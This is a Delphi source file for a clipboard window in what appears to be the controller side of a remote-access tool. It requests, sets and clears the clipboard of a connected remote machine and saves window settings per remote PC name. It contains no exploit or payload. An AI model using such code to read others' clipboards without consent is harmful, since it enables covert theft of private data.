-
Notifications
You must be signed in to change notification settings - Fork 44
/
UnitClipboard.pas
200 lines (170 loc) · 5.38 KB
/
UnitClipboard.pas
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
unit UnitClipboard;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, UnitMain, StdCtrls, ComCtrls, Buttons, ExtCtrls, sSkinProvider, UnitConexao;
type
TFormClipboard = class(TForm)
Panel1: TPanel;
SpeedButton1: TSpeedButton;
SpeedButton2: TSpeedButton;
SpeedButton3: TSpeedButton;
StatusBar1: TStatusBar;
RichEdit1: TRichEdit;
sSkinProvider1: TsSkinProvider;
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormShow(Sender: TObject);
procedure SpeedButton1Click(Sender: TObject);
procedure SpeedButton2Click(Sender: TObject);
procedure SpeedButton3Click(Sender: TObject);
private
{ Private declarations }
Servidor: TConexaoNew;
NomePC: string;
LiberarForm: boolean;
procedure WMCloseFree(var Message: TMessage); message WM_CLOSEFREE;
procedure AtualizarIdioma;
procedure WMAtualizarIdioma(var Message: TMessage); message WM_ATUALIZARIDIOMA;
procedure CreateParams(var Params : TCreateParams); override;
public
{ Public declarations }
procedure OnRead(Recebido: String; ConAux: TConexaoNew); overload;
constructor Create(aOwner: TComponent; ConAux: TConexaoNew); overload;
end;
var
FormClipboard: TFormClipboard;
implementation
{$R *.dfm}
uses
UnitConstantes,
UnitStrings,
CustomIniFiles,
UnitCommonProcedures;
//procedure WMAtualizarIdioma(var Message: TMessage); message WM_ATUALIZARIDIOMA;
procedure TFormClipboard.WMAtualizarIdioma(var Message: TMessage);
begin
AtualizarIdioma;
end;
procedure TFormClipboard.WMCloseFree(var Message: TMessage);
begin
LiberarForm := True;
Close;
end;
//Here's the implementation of CreateParams
procedure TFormClipboard.CreateParams(var Params : TCreateParams);
begin
inherited CreateParams(Params); //Don't ever forget to do this!!!
if FormMain.ControlCenter = True then Exit;
Params.WndParent := GetDesktopWindow;
end;
constructor TFormClipboard.Create(aOwner: TComponent; ConAux: TConexaoNew);
var
TempStr: WideString;
IniFile: TIniFile;
begin
inherited Create(aOwner);
Servidor := ConAux;
NomePC := Servidor.NomeDoServidor;
TempStr := ExtractFilePath(ParamStr(0)) + 'Settings\';
ForceDirectories(TempStr);
TempStr := TempStr + NomePC + '.ini';
if FileExists(TempStr) = True then
try
IniFile := TIniFile.Create(TempStr, IniFilePassword);
Width := IniFile.ReadInteger('Clipboard', 'Width', Width);
Height := IniFile.ReadInteger('Clipboard', 'Height', Height);
Left := IniFile.ReadInteger('Clipboard', 'Left', Left);
Top := IniFile.ReadInteger('Clipboard', 'Top', Top);
IniFile.Free;
except
DeleteFile(TempStr);
end;
end;
procedure TFormClipboard.AtualizarIdioma;
begin
SpeedButton1.Caption := traduzidos[192];
SpeedButton2.Caption := traduzidos[393];
SpeedButton3.Caption := traduzidos[394];
end;
procedure TFormClipboard.OnRead(Recebido: String; ConAux: TConexaoNew);
var
TempInt: Integer;
TempStr: string;
i: integer;
Result: TSplit;
begin
if Copy(Recebido, 1, pos('|', Recebido) - 1) = GETCLIPBOARD then
begin
StatusBar1.Panels.Items[0].Text := traduzidos[395];
delete(Recebido, 1, pos('|', Recebido));
RichEdit1.Clear;
if pos(delimitadorComandos, Recebido) > 0 then
begin
RichEdit1.Lines.Add('((((( ' + traduzidos[399] + ' )))))');
RichEdit1.Lines.Add('');
while Recebido <> '' do
begin
RichEdit1.Lines.Add(Copy(Recebido, 1, pos(delimitadorComandos, Recebido) - 1));
delete(Recebido, 1, pos(delimitadorComandos, Recebido) - 1);
delete(Recebido, 1, length(delimitadorComandos));
end;
end else
RichEdit1.Lines.Add(Recebido);
end else
if Copy(Recebido, 1, pos('|', Recebido) - 1) = CLEARCLIPBOARD then
begin
RichEdit1.Clear;
StatusBar1.Panels.Items[0].Text := traduzidos[396];
end else
if Copy(Recebido, 1, pos('|', Recebido) - 1) = SETCLIPBOARD then
begin
StatusBar1.Panels.Items[0].Text := traduzidos[397];
end else
end;
procedure TFormClipboard.FormClose(Sender: TObject; var Action: TCloseAction);
var
TempStr: WideString;
IniFile: TIniFile;
begin
if LiberarForm then Action := caFree;
RichEdit1.Clear;
TempStr := ExtractFilePath(ParamStr(0)) + 'Settings\';
ForceDirectories(TempStr);
TempStr := TempStr + NomePC + '.ini';
try
IniFile := TIniFile.Create(TempStr, IniFilePassword);
IniFile.WriteInteger('Clipboard', 'Width', Width);
IniFile.WriteInteger('Clipboard', 'Height', Height);
IniFile.WriteInteger('Clipboard', 'Left', Left);
IniFile.WriteInteger('Clipboard', 'Top', Top);
IniFile.Free;
except
DeleteFile(TempStr);
end;
end;
procedure TFormClipboard.FormCreate(Sender: TObject);
begin
Self.Left := (screen.width - Self.width) div 2 ;
Self.top := (screen.height - Self.height) div 2;
end;
procedure TFormClipboard.FormShow(Sender: TObject);
begin
AtualizarIdioma;
RichEdit1.Clear;
SpeedButton1Click(SpeedButton1);
end;
procedure TFormClipboard.SpeedButton1Click(Sender: TObject);
begin
Servidor.enviarString(GETCLIPBOARD + '|');
StatusBar1.Panels.Items[0].Text := traduzidos[205];
end;
procedure TFormClipboard.SpeedButton2Click(Sender: TObject);
begin
Servidor.enviarString(SETCLIPBOARD + '|' + RichEdit1.Text);
end;
procedure TFormClipboard.SpeedButton3Click(Sender: TObject);
begin
Servidor.enviarString(CLEARCLIPBOARD + '|');
end;
end.